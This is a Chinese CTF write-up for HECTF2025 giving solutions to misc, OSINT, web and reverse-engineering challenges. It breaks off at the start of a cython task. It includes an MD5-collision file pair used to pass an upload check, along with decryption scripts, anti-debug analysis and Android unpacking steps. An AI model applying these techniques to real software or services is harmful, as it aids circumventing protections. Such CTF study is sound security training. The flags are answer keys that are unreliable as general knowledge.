第九届HECTF2025信息安全挑战赛Writeup

drifting-HECTF2025-WP

ID:drifting

排名:2

解出题目数量:29

hectf0.png

Misc

签到

hectf1.png

直接关注发送就好了

hectf2.png

1
HECTF{欢迎来到2025_HECTF!!!}

Check_In

hectf3.png

给的文档是hectf4.png

你给了已知对应:

ctf -> 🎹🏀🌺 ⇒ 🎹=c,🏀=t,🌺=f

i -> 🎵 ⇒ 🎵=i

love -> 🍑🎲⚽🍉 ⇒ 🍑=l,🎲=o,⚽=v,🍉=e

u -> 🚃 ⇒ 🚃=u

然后看 flag 前缀:🌹🍉🎹🏀🌺
其中 🍉=e,🎹🏀🌺=ctf,所以是 _ectf,最常见就是 hectf ⇒ 🌹=h
所以前缀是 HECTF

接着按下划线分组解括号里内容:

🚇🍉🍑🎹🎲⚾🍉 = _ e l c o _ e → welcome⇒ 🚇=w,⚾=m

🏀🎲 = t o → to

🌹🍉🎹🏀🌺 = h e c t f → hectf

🌹🎲🏉🍉 = h o _ e → hope⇒ 🏉=p

💎🎲🚃 = _ o u → you⇒ 💎=y

🎹🏓🌾 = c _ _ → can⇒ 🏓=a,🌾=n

🍉🌾🍇🎲💎 = e n _ o y → enjoy⇒ 🍇=j

🎵🏀 = i t → it

所以明文是:

welcome_to_hectf_hope_you_can_enjoy_it

最终 flag:

1
HECTF{welcome_to_hectf_hope_you_can_enjoy_it}

OSINT

这题是去找地点,我先用ai去查

hectf5.png

但是地点是错误的,这题是我凌晨拿手机解出的,我先是在高德地图上搜索河北石家庄市裕华区裕华东路与街交叉口高架桥

hectf6.png

可以知道有这些高架桥那就一个一个找,根据题目的*号来找

1
**区***路与****街交叉口的高架桥上

最后找到了和平西路与中华北大街最符合的,但是什么区可以点击周围的建筑来确定

hectf6.png

最后得到地点

1
HECTF{河北省石家庄市新华区和平西路与中华北大街交叉口的高架桥上}

Word_Document

先查看文档,拿到题目提供的 word文档.docx 后,打开文档,发现可见内容只有一句提示:“这里没有你想要的” 。这通常暗示关键信息被隐藏了。由于 .docx 文件本质上是一个压缩包,我们可以通过解压软件打开它,或者直接分析其内部 XML 文件。在查看文档内部结构时,在 word/document.xml 中发现了一串异常的 Base64 编码字符串:

1
cGFzc3dvcmQ6My4xNDE1OTI2

对其进行 Base64 解码得到password:3.1415926,这密码可能是后面是要用的

hectf8.png

接继续查看这个文件,可以在word文件夹下面找到flag.txt

hectf9.png

尝试将这个txt文件打开但是是一堆乱码,所以可以猜测到不是一个txt文件,将这个文件拖入到010中看

hectf10.png

在文件尾部出现了 flag.png 的明文字符 ,且中间包含 PK 字符 ,这强烈暗示它实际上是一个 ZIP 压缩包,当前文件头:03 04 14 00 ... ,标准 ZIP 文件头应为:50 4B 03 04,对比发现,文件头缺失了前两个字节 50 4B

可以写脚本修复

1
2
3
4
5
6
7
8
9
10
11
12
13
import zipfile

# 读取原始损坏文件
with open('flag.txt', 'rb') as f:
content = f.read()

# 补全文件头 (PK)
fixed_content = b'\x50\x4B' + content

# 保存为正常的压缩包
with open('flag.zip', 'wb') as f:
f.write(fixed_content)
print("文件已修复为 flag.zip")

hectf11.png

接着打开这个zip文件

hectf12.png

可以知道这个图片要密码,那就是开始得到的密码:3.1415926

hectf13.png

flag为:

1
HECTF{W5w_Y0u_Kn0w_7he_docx}

同分异构

访问题目给出的 URL,网页展示了一篇关于化学“同分异构体”的科普文章。页面表面没有明显的功能点或输入框。

hectf14.png

查看网页源代码 (右键 -> 查看网页源代码 / Ctrl+U)。在代码的最底部(<script> 标签附近),发现了一行被注释的可疑字符串:hectf15.png

base64解密的md5.php

访问 http://47.100.66.83:31626/md5.php,页面显示“文件MD5比较工具”,要求上传两个文件。

hectf16.png

页面提示与限制条件

  1. 上传的文件不能有后缀名
  2. 只有当 两个文件的MD5值相同内容不同 时,才会输出 Flag。

我们可以直接利用已知的 MD5 碰撞样本数据,通过 Python 生成两个文件。

Payload 生成脚本 (exp.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import binascii

# 这是一个经典的MD5碰撞样本(数据来自 Peter Selinger)
# 文件A的Hex数据
hex_a = (
"d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f89"
"55ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5b"
"d8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0"
"e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70"
)

# 文件B的Hex数据 (注意看第10位和几处微小的不同)
hex_b = (
"d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f89"
"55ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5b"
"d8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0"
"e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70"
)

# 将Hex转换为二进制并写入文件
with open('a', 'wb') as f:
f.write(binascii.unhexlify(hex_a))

with open('b', 'wb') as f:
f.write(binascii.unhexlify(hex_b))

print("文件 a 和 b 已生成!")

hectf17.png

接着上传这个a和b就可以获取到flag

hectf18.png

flag为:

1
HECTF{AbS1jQdnJNW9ISjpJJLuYB180c5nWEU8}

快来反馈吧~

填写完问卷就可以得到flag

Reverse

easyree

先查看文件是否有壳

hectf19.png

接着将文件拖入ida中看看主函数

hectf20.png

题目提示

  1. “xixi快来签到吧~”
  2. “这一串怎么不对啊,是不是被修改了”

第一步:初步分析二进制文件

使用 IDA Pro 分析程序结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// main 函数结构
int main() {
string input;
cout << "Enter your flag: ";
getline(cin, input);

// 去除空白字符
trim_input(input);

// 生成两个加密字符串
string encrypted_alphabet = sub_1389(); // 异或 0x55
string encrypted_flag = sub_143F(); // 异或 0x33

// 自定义 Base64 编码
string encoded_input = sub_14FE(input, encrypted_alphabet);

// 与预期 flag 比较
if (compare_strings(encoded_input, encrypted_flag)) {
cout << "you are right";
} else {
cout << "wrong!!Please try again!!";
}
}

第二步:提取加密数据

识别出两个关键数据数组:

数组 1(地址 0x2040)- 64 字节:

1
2
3
0F 0C 0D 02 03 00 01 06 07 04 05 1A 1B 18 19 1E 1F 1C 1D 12 13 10 11 16 17 14 
2F 2C 2D 22 23 20 21 26 27 24 25 3A 3B 38 39 3E 3F 3C 3D 32 33 30 31 36 37 34
6C 6D 62 63 60 61 66 67 64 65 7E 7A 7B

数组 2(地址 0x2080)- 48 字节:

1
2
7B 65 76 64 76 65 72 01 44 04 76 5B 71 52 6A 54 7D 0B 03 0A 7D 66 03 51 72 70 
71 52 4B 42 7E 5C 70 05 4B 57 4B 42 66 43 70 05 47 50 45 64 66 03 45

第三步:解密过程

程序使用异或(XOR)进行解密:

1
2
3
4
5
6
7
# 数组 1 异或 0x55 → 自定义 Base64 字母表
alphabet = ''.join([chr(b ^ 0x55) for b in data1])
# 结果: "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/."

# 数组 2 异或 0x33 → 加密后的 Flag
encrypted_flag = ''.join([chr(b ^ 0x33) for b in data2])
# 结果: "HVEWEVA2w7EhBaYgN809NU0bACBaxqMoC6xdxqUpC6tcvWU0v"

第四步:自定义 Base64 解码

程序实现了自定义的 Base64 编码/解码方案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def custom_base64_decode(encoded_str, alphabet):
char_to_value = {char: i for i, char in enumerate(alphabet)}
encoded_str = encoded_str.rstrip('=')

result = bytearray()
bits_buffer = 0
bits_count = 0

for char in encoded_str:
if char in char_to_value:
value = char_to_value[char]
bits_buffer = (bits_buffer << 6) | value
bits_count += 6

while bits_count >= 8:
bits_count -= 8
result.append((bits_buffer >> bits_count) & 0xFF)

return result.decode('utf-8', errors='ignore')

第五步:初步提取 Flag

1
2
decoded_flag = custom_base64_decode(encrypted_flag, alphabet)
# 结果: "HECTF{welc0m3_t0_rev3r3e_w0r1d_x1x1}"

完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3

# Custom base64 alphabet from decrypted data1
alphabet = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/."

# Encrypted flag data from decrypted data2
encrypted_flag = "HVEWEVA2w7EhBaYgN809NU0bACBaxqMoC6xdxqUpC6tcvWU0v"

def custom_base64_decode(encoded_str, alphabet):
# Create reverse mapping
char_to_value = {char: i for i, char in enumerate(alphabet)}

# Remove padding if present
encoded_str = encoded_str.rstrip('=')

result = bytearray()
bits_buffer = 0
bits_count = 0

for char in encoded_str:
if char in char_to_value:
value = char_to_value[char]
bits_buffer = (bits_buffer << 6) | value
bits_count += 6

# Extract 8-bit chunks when we have enough bits
while bits_count >= 8:
bits_count -= 8
result.append((bits_buffer >> bits_count) & 0xFF)

return result.decode('utf-8', errors='ignore')

if __name__ == "__main__":
try:
decoded_flag = custom_base64_decode(encrypted_flag, alphabet)
print(f"Alphabet: {alphabet}")
print(f"Encrypted: {encrypted_flag}")
print(f"Decoded flag: {decoded_flag}")

# Try with HECTF format
if not decoded_flag.startswith('HECTF{'):
print(f"\nTrying to find HECTF pattern...")
# Try different variations
variations = [
f"HECTF{{{decoded_flag}}}",
f"HECTF{{{decoded_flag.upper()}}}",
f"HECTF{{{decoded_flag.lower()}}}",
]
for var in variations:
print(f" {var}")

except Exception as e:
print(f"Error: {e}")
import traceback
traceback.print_exc()

运行可以得到flag

1
HECTF{welc0m3_t0_rev3r3e_w0r1d_x1x1}

hectf21.png

babyre

还是一样的先查看文件

hectf22.png

第一步: 初步分析

hectf23.png

使用 IDA Pro 打开 babyre.exe,通过字符串搜索发现大量 Py_ 开头的标志,如 Py_FrozenFlagPyRun_SimpleStringFlags 等,确认这是一个 PyInstaller 打包的 Python 程序

第二步: 解包 PyInstaller

使用 pyinstxtractor 工具解包:

1
python pyinstxtractor.py babyre.exe

输出信息:

1
2
3
4
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Found 60 files in CArchive
[+] Possible entry point: babyre.pyc

babyre.exe_extracted 目录中找到主程序 babyre.pyc

第三步: 反编译 pyc 文件

使用 uncompyle6 反编译:

1
uncompyle6 babyre.exe_extracted\babyre.pyc

得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def rc4_crypt(data: bytes, key: bytes) -> bytes:
sbox = [(i * 3 + 7) % 256 for i in range(256)]
j = 0
key_len = len(key)
for i in range(256):
k = key[i % key_len]
j = j + sbox[i] + (k ^ 90) + (i ^ j) & 255
a = i + 1 & 255
b = j - 1 & 255
sbox[a], sbox[b] = sbox[b], sbox[a]
else:
i = 0
j = 0
out = bytearray()
for byte in data:
i = i + 1 & 255
j = j + (sbox[i] ^ 90) + (i ^ j) & 255
a = i + 1 & 255
b = j - 1 & 255
sbox[a], sbox[b] = sbox[b], sbox[a]
t = sbox[a] + sbox[b] & 255
out.append(byte ^ sbox[t])
else:
return bytes(out)


CIPHERTEXT = bytes.fromhex("b956c3fbf3d57b2a800834ebbf9deabb814b8a2169dcd0fd18ffd3b003")
KEY = b'L00K1t'

def main():
print("===Welcome To HECTF2025===")
user_input = input("please input your flag: ").strip().encode("utf-8")
user_encrypted = rc4_crypt(user_input, KEY)
if user_encrypted == CIPHERTEXT:
print("you are right!!")
else:
print("wrong!")

第四步: 算法分析

源码显示这是一个 魔改版 RC4 加密算法,主要修改点:

  1. S-Box 初始化:sbox = [(i * 3 + 7) % 256 for i in range(256)](标准RC4为0-255顺序)
  2. KSA 阶段的索引计算增加了异或操作:(k ^ 90)(i ^ j)
  3. 交换索引使用 a = i + 1b = j - 1 而非直接交换 i, j

关键点:RC4 是对称加密算法,加密和解密使用相同的密钥和函数。

第五步: 解密获取 Flag

直接使用相同的 rc4_crypt 函数对密文进行解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def rc4_crypt(data: bytes, key: bytes) -> bytes:
sbox = [(i * 3 + 7) % 256 for i in range(256)]
j = 0
key_len = len(key)
for i in range(256):
k = key[i % key_len]
j = j + sbox[i] + (k ^ 90) + (i ^ j) & 255
a = i + 1 & 255
b = j - 1 & 255
sbox[a], sbox[b] = sbox[b], sbox[a]
i = 0
j = 0
out = bytearray()
for byte in data:
i = i + 1 & 255
j = j + (sbox[i] ^ 90) + (i ^ j) & 255
a = i + 1 & 255
b = j - 1 & 255
sbox[a], sbox[b] = sbox[b], sbox[a]
t = sbox[a] + sbox[b] & 255
out.append(byte ^ sbox[t])
return bytes(out)

CIPHERTEXT = bytes.fromhex('b956c3fbf3d57b2a800834ebbf9deabb814b8a2169dcd0fd18ffd3b003')
KEY = b'L00K1t'
flag = rc4_crypt(CIPHERTEXT, KEY)
print('Flag:', flag.decode('utf-8'))

运行可以得到flag

hectf24.png

1
HECTF{D0_y0u_L1K3_pyth0n_3C4}

traceme

还是一样先查壳

hectf25.png

可以知道是没有开壳保护的,接着将文件拖入ida中进行分析

hectf26.png

使用 IDA Pro 加载程序后,首先查看导入函数表:

1
2
3
4
5
6
7
ptrace    - 进程跟踪调试
fork - 创建子进程
wait - 等待子进程状态变化
raise - 发送信号
memcmp - 内存比较
memcpy - 内存复制
scanf - 读取输入

关键观察:程序使用了 ptrace + fork + wait 组合,这是典型的自调试反逆向技术。

函数列表

地址 函数名 功能
0x182d main 主函数
0x1289 move 字节循环移位
0x12cb getdata 通过 ptrace 读取子进程内存
0x157a putdata 通过 ptrace 写入子进程内

第一步:main 函数分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int main(int argc, const char **argv, const char **envp)
{
unsigned int pid = fork();
printf("please input flag");

if (pid == 0) {
// ===== 子进程 =====
scanf("%s", flag);
ptrace(PTRACE_TRACEME, 0, 0, 0); // 允许父进程跟踪

// 对奇数索引字符进行 XOR 0x13
for (int i = 1; i <= 31; i += 2) {
flag[i] ^= 0x13;
raise(SIGSTOP); // 发送信号暂停,让父进程处理
}

// 比较加密后的 flag 与目标 data
if (memcmp(flag, &data, 0x20) == 0)
puts("Correct!");
else
puts("Wrong!");
_exit(0);
}
else {
// ===== 父进程 =====
for (int i = 0; i <= 31; i += 2) {
wait(&stat_loc);
if ((stat_loc & 0x7F) == 0)
break;

char *ptr = &flag[i];
unsigned char byte;
getdata(pid, ptr, &byte, 1); // 读取子进程中的字符

int n8 = i % 8;
if (n8 == 0) n8 = 8;

byte = move(byte, n8); // 循环右移
putdata(pid, ptr, &byte, 1); // 写回子进程

ptrace(PTRACE_CONT, pid, 0, 0); // 继续执行子进程
}
wait(0);
}
return 0;
}

第二步:move 函数分析

1
2
3
4
5
unsigned char move(unsigned char a1, int n8)
{
// 循环右移 (ROR)
return (a1 >> (n8 % 8)) | (a1 << (8 - n8 % 8));
}

这是一个标准的字节循环右移 (ROR) 操作。

第三步:getdata / putdata 函数

这两个函数使用 ptracePTRACE_PEEKDATAPTRACE_POKEDATA 命令来读取和写入被跟踪进程的内存。

程序的加密过程涉及父子进程协作

1
2
3
4
5
6
7
8
9
10
输入: flag[0], flag[1], flag[2], ..., flag[31]

父进程处理偶数索引 (0, 2, 4, ..., 30):
flag[i] = ROR(flag[i], n8)
其中 n8 = i % 8,若 n8 == 0 则 n8 = 8

子进程处理奇数索引 (1, 3, 5, ..., 31):
flag[i] = flag[i] ^ 0x13

最终与 data 数组比较

加密示意图

1
2
3
索引:  0    1    2    3    4    5    6    7    8    ...
操作: ROR XOR ROR XOR ROR XOR ROR XOR ROR ...
n8: 8 - 2 - 4 - 6 - 8 ...

第四步:提取目标数据

data 位于虚拟地址 0x4020,对应文件偏移 0x3020,共 32 字节:

1
2
3
4
data = [72, 86, 208, 71, 100, 104, 173, 94, 
51, 102, 17, 38, 134, 64, 200, 117,
73, 37, 152, 87, 83, 124, 13, 33,
99, 73, 13, 102, 148, 42, 197, 110]

十六进制表示:

1
2
48 56 D0 47 64 68 AD 5E 33 66 11 26 86 40 C8 75
49 25 98 57 53 7C 0D 21 63 49 0D 66 94 2A C5 6E

第五步:逆向算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def rol(val, n):
"""循环左移 (ROL) - ROR 的逆操作"""
n = n % 8
return ((val << n) | (val >> (8 - n))) & 0xFF

def decrypt(data):
flag = []
for i in range(32):
if i % 2 == 0:
# 偶数索引: 逆向 ROR = ROL
n8 = i % 8
if n8 == 0:
n8 = 8
flag.append(rol(data[i], n8))
else:
# 奇数索引: XOR 0x13 (自逆)
flag.append(data[i] ^ 0x13)
return ''.join(chr(c) for c in flag)

完整解密脚本exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
HECTF traceme 解密脚本
"""

def rol(val, n):
"""字节循环左移"""
n = n % 8
return ((val << n) | (val >> (8 - n))) & 0xFF

def ror(val, n):
"""字节循环右移"""
n = n % 8
return ((val >> n) | (val << (8 - n))) & 0xFF

# 从文件偏移 0x3020 提取的 data 数组 (32 bytes)
data = [
0x48, 0x56, 0xD0, 0x47, 0x64, 0x68, 0xAD, 0x5E,
0x33, 0x66, 0x11, 0x26, 0x86, 0x40, 0xC8, 0x75,
0x49, 0x25, 0x98, 0x57, 0x53, 0x7C, 0x0D, 0x21,
0x63, 0x49, 0x0D, 0x66, 0x94, 0x2A, 0xC5, 0x6E
]

flag = []
for i in range(32):
if i % 2 == 0:
# 偶数索引: 父进程执行了 ROR,逆向需要 ROL
n8 = i % 8
if n8 == 0:
n8 = 8
flag.append(rol(data[i], n8))
else:
# 奇数索引: 子进程执行了 XOR 0x13,XOR 自逆
flag.append(data[i] ^ 0x13)

result = ''.join(chr(c) for c in flag)
print(f"Flag: {result}")

运行即可得到flag

1
Flag: HECTF{kM3uD5hS2fI6bD5oC2cZ4uI9q}

SelfHash

还是先查壳

hectf27.png

将程序拖入 IDA Pro 进行静态分析,定位到 main 函数 (地址 0x14001AE90)。

hectf29.png

  1. 输入检查:程序首先读取用户输入,长度需为 32 字节。

  2. 自校验与密钥生成

    • 程序计算函数 sub_14001B120 (大小 152 字节) 的内容。
    • 计算该函数的 SHA-256 哈希值。
    • 取哈希值的前 4 个字节作为 srand 的种子。
    • 调用 rand() % 100 生成一个关键的异或密钥 v11
    1
    2
    3
    4
    // 伪代码片段
    sub_14001B120(..., 152, v18); // 计算哈希
    srand(v18[0]); // 使用哈希前4字节作为种子
    v11 = rand() % 100; // 生成解密 Key
  3. SMC (代码解密)

    • 使用 VirtualProtect 修改 lpAddress_ (一段加密的 Shellcode) 所在内存页的权限为可读可写可执行 (RWX)。
    • 利用上一步生成的 v11lpAddress_ 进行逐字节异或解密。
    1
    2
    3
    4
    for ( i = 0; i < 352; ++i )
    {
    lpAddress_[i] ^= v11;
    }
  4. 执行 Shellcode 与 比较

    • 将解密后的 lpAddress_ 当作函数调用,传入用户输入的字符串和一组参数。
    • Shellcode 执行完毕后,程序将处理后的输入字符串与硬编码的密文数组 v12 进行比较。

恢复解密密钥 v11

由于 v11 依赖于 sub_14001B120 的二进制内容,我们不能随意修改该函数,否则哈希值改变,导致解密出的 Shellcode 错误。

通过 Python 脚本模拟这一过程:

  1. 从 PE 文件中提取 sub_14001B120 的字节码。
  2. 计算 SHA-256。
  3. 模拟 MSVC 的 srandrand 算法计算 v11

经计算:

  • Seed: 3887915301
  • v11: 88 (0x58)

还原 Shellcode

利用计算出的 v11,我们可以从 PE 文件中提取加密的 Shellcode 并解密。
反汇编解密后的 Shellcode,发现其逻辑清晰:

1
2
3
4
5
6
0x0:    mov     qword ptr [rsp + 0x10], rdx  ; 保存参数
0x5: mov qword ptr [rsp + 8], rcx ; 输入字符串 Str
...
0x3f: mov dword ptr [rsp + 0x10], 0x9e3589b7 ; Delta 常量
0x50: mov eax, dword ptr [rcx + rax] ; 加载 Key[0]
...

通过分析汇编代码结构,特别是常数 0x9e3589b7 (TEA 算法的 Delta 值),可以确认这是一段 TEA 加密 逻辑。

  • 算法: TEA (Tiny Encryption Algorithm)
  • 轮数: 32 轮 (循环计数 0x20)
  • 密钥 Key: [2, 2, 3, 4] (从栈上传入的参数 v16)
  • 密文: 主函数中的 v12 数组。

密文提取

主函数中的 v12 数组即为加密后的 Flag,每 8 字节一组(两个 32 位整数):

1
2
3
4
v12[0] = 0xDABF400D; v12[1] = 0x7288A4F0;
v12[2] = 0x310493C2; v12[3] = 0x77160BC1;
v12[4] = 0x2D998CC2; v12[5] = 0x60B37A5D;
v12[6] = 0xFDFE841F; v12[7] = 0x39E12697;

使用 Python 实现 TEA 解密算法,解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import struct
import hashlib
import pefile

def solve():
# 密钥
key = [2, 2, 3, 4]

# 密文数据
encrypted = [
(0xDABF400D, 0x7288A4F0),
(0x310493C2, 0x77160BC1),
(0x2D998CC2, 0x60B37A5D),
(0xFDFE841F, 0x39E12697)
]

def decrypt_block(v0, v1, k):
delta = 0x9e3589b7
sum_val = (delta * 32) & 0xFFFFFFFF
k0, k1, k2, k3 = k

for _ in range(32):
op1 = ((v0 << 6) + k2) & 0xFFFFFFFF
op2 = (v0 + sum_val) & 0xFFFFFFFF
op3 = ((v0 >> 5) + k3) & 0xFFFFFFFF
v1 = (v1 - (op1 ^ op2 ^ op3)) & 0xFFFFFFFF

op1 = ((v1 << 3) + k0) & 0xFFFFFFFF
op2 = (v1 + sum_val) & 0xFFFFFFFF
op3 = ((v1 >> 5) + k1) & 0xFFFFFFFF
v0 = (v0 - (op1 ^ op2 ^ op3)) & 0xFFFFFFFF

sum_val = (sum_val - delta) & 0xFFFFFFFF

return v0, v1

flag = b""
for v0, v1 in encrypted:
d0, d1 = decrypt_block(v0, v1, key)
flag += struct.pack("<II", d0, d1)

print(f"Flag: {flag.decode('utf-8')}")

if __name__ == "__main__":
solve()

hectf29.png

运行解密脚本,得到 Flag:

HECTF{tY6iR5pE4jL7nX3sJ1pU3iP3w}

ezapp

这个是一个安卓逆向的题目,开始先将文件拖入jadx中

hectf30.png

可以知道没有main函数还缺少很多东西所以可以知道是有壳的,就先要去脱壳,先开启服务

hectf31.png

接着用工具脱壳

hectf32.png

脱完壳发现将文件拖入jadx发现报错了,根据错误信息去修复了一下文件头,修复脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import zlib
import hashlib
import os

def fix_dex(file_path):
with open(file_path, 'rb') as f:
data = bytearray(f.read())

if len(data) < 40:
return

# 1. 计算 SHA-1 签名并填充 (偏移 12 到 31 字节)
sha1 = hashlib.sha1(data[32:]).digest()
data[12:32] = sha1

# 2. 计算 Adler32 校验和并填充 (偏移 8 到 11 字节)
adler32 = zlib.adler32(data[12:]) & 0xffffffff
data[8:12] = adler32.to_bytes(4, byteorder='little')

with open(file_path, 'wb') as f:
f.write(data)
print(f"[+] Fixed: {os.path.basename(file_path)}")

# 指向你脱壳后的文件夹
target_dir = r'C:\Users\Drifting\EZ APP'

if __name__ in "__main__":
for filename in os.listdir(target_dir):
if filename.endswith(".dex"):
fix_dex(os.path.join(target_dir, filename))
print("[*] 所有 DEX 文件修复完成,请重新用 JADX 打开!")

hectf33.png

接着就可以直接使用jadx打开整个文件夹逆向分析,先分析Java 层(JADX)定位入口

hectf34.png

先找到 native 声明,在 com.example.ctf.NativeLib

1
2
3
4
5
6
7
8
9
public final class NativeLib {
public static final NativeLib f834a = new NativeLib();

static {
System.loadLibrary("ctflib");
}

public final native boolean checkFlag(String str);
}

说明校验逻辑在 libctflib.so所以还要从apk文件中分离出这个文件来。

接着找到 checkFlag 的调用点

NativeLib.checkFlag 做交叉引用,定位到 f1.a.onClick

  • 点击按钮后,直接把 EditText.getText().toString() 传入 checkFlag
  • 根据返回值 Toast:Correct! / Incorrect

因此 Java 层没有任何额外预处理,输入原样进入 native。

Native 层(IDA)定位 checkFlag 实现

JNI_OnLoad + RegisterNatives

该 so 使用 RegisterNatives 动态注册 JNI 方法(不是 Java_com_xxx_yyy 这种导出符号)。

在 IDA 反编译 JNI_OnLoad 可以看到:

  • FindClass("com/example/ctf/NativeLib")
  • RegisterNatives(clazz, off_3F930, 1)

其中 off_3F930 指向 JNINativeMethod 表,结构为:

1
2
3
4
5
typedef struct {
const char* name; // "checkFlag"
const char* signature; // "(Ljava/lang/String;)Z"
void* fnPtr; // native 函数指针
} JNINativeMethod;

因此 off_3F930 对应的 fnPtr 就是真正的 checkFlag 实现。反编译后得到主函数(本题中表现为 sub_1A5E0)。

还原 checkFlag 的校验逻辑

第一步: 获取输入

native 侧通过 JNI GetStringUTFChars 得到 const char*,再 strlen 得到长度 len

第二步:第一段变换:逐字节异或(可逆)

核心逻辑(等价表达):

  • buf[i] = input[i] ^ ((i - 91) & 0xFF)

逆运算同样是异或:

  • input[i] = buf[i] ^ ((i - 91) & 0xFF)

第三步:第二段变换:XXTEA-like 加密(变种 TEA)

之后把 buf 交给另一函数(题中 sub_1A920)做块加密:

  • 先把字节按 4 字节打包成 uint32 数组(不足补 0)
  • 使用 XXTEA/Corrected Block TEA 风格轮函数加密
  • rounds = 0x34 / n + 7(n 为 word 数)
  • sum 每轮减一个常量 462666332(可视为 delta 的变种)

密钥 k[4] 不是直接写死,而是由两个常量区组合生成:

  • seed:来自 unk_10F80(16 字节)
  • const:来自 xmmword_F8C0(16 字节)
  • key schedule:rol(seed, 3) + shuffle + (const ^ seed) 再相加

第四步:最终比对:固定 28 字节密文

加密输出会与内置密文比较:

  • 期望长度为 28 字节
  • 期望密文由两个常量拼出来:
    • xmmword_F8B0 提供 expected[0:16]
    • xmmword_F890 提供 expected[12:28](与前 16 字节有 4 字节重叠)

只要加密结果等于该 expected_ciphercheckFlag 返回 true

第五步:逆回去拿 flag

native 做的是:

expected_cipher == Encrypt( XOR(input) )

所以逆向求解:

  1. 从 so 中提取 expected_cipher
  2. expected_cipherEncrypt 的逆运算(解密)得到 xor_buf
  3. xor_buf 做逆异或:input[i] = xor_buf[i] ^ ((i - 91) & 0xFF)
  4. 得到 flag 字符串(以 } 结尾,后面可能有 padding)

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import struct
p = r'G:\\比赛\\HECTF\\re\\4\\lib\\x86_64\\libctflib.so'
with open(p,'rb') as f:
data = f.read()

def u32(x):
return x & 0xFFFFFFFF

def rol32(x, r):
return u32(((x << r) | (x >> (32-r))))

def read_bytes(off, n):
return data[off:off+n]

def read_u32le(off):
return struct.unpack_from('<I', data, off)[0]

def get_expected_cipher():
a = read_bytes(0xF8B0, 16)
b = read_bytes(0xF890, 16)
# expected[0:16]=a, expected[12:28]=b
exp = bytearray(28)
exp[0:16] = a
exp[12:28] = b
return bytes(exp)

def get_key_words():
seed = [read_u32le(0x10F80 + 4*i) for i in range(4)]
cst = [read_u32le(0xF8C0 + 4*i) for i in range(4)]
rot = [rol32(seed[i], 3) for i in range(4)]
rot = [rot[1], rot[2], rot[3], rot[0]] # shuffle imm8=57
k = [u32(rot[i] + (cst[i] ^ seed[i])) for i in range(4)]
return k

def xxtea_like_decrypt(v, k):
n = len(v)
if n < 2:
return v
rounds = 0x34 // n + 7
delta = u32(0x100000000 - 462666332) # because sum -= 462666332 in the lib
s = u32(rounds * delta)

def MX(z, y, s, p):
return u32(((((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((s ^ y) + (k[((s >> 2) & 3) ^ (p & 3)] ^ z))))

for _ in range(rounds):
for p in range(n-1, -1, -1):
z = v[p-1] if p > 0 else v[n-1]
y = v[p+1] if p < n-1 else v[0]
v[p] = u32(v[p] - MX(z, y, s, p))
s = u32(s - delta)
return v

def main():
exp = get_expected_cipher()
print('[expected_cipher_hex]', exp.hex())
k = get_key_words()
print('[key_words]', [hex(x) for x in k])

# ciphertext bytes -> words little-endian
n = (len(exp) + 3) // 4
words = [0]*n
for i in range(n):
chunk = exp[4*i:4*i+4]
chunk = chunk + b'\x00'*(4-len(chunk))
words[i] = struct.unpack('<I', chunk)[0]

pt_words = xxtea_like_decrypt(words[:], k)
pt = b''.join(struct.pack('<I', w) for w in pt_words)[:len(exp)]
print('[xor_input_hex]', pt.hex())

# reverse the bytewise xor: b[i] = input[i] ^ (i-91) => input[i] = b[i] ^ (i-91)
flag_bytes = bytes((pt[i] ^ ((i - 91) & 0xFF)) for i in range(len(pt)))
print('[candidate_flag_bytes]', flag_bytes)
try:
print('[candidate_flag_utf8]', flag_bytes.decode('utf-8'))
except Exception as e:
print('[candidate_flag_utf8_decode_error]', e)

if __name__ == '__main__':
main()

hectf35.png

flag为:

1
HECTF{h0p3_Y08_Llk3_A77_RE}

cython

首先查看题目文件:

1
file ctf_cython_easy.cpython-38-x86_64-linux-gnu.so

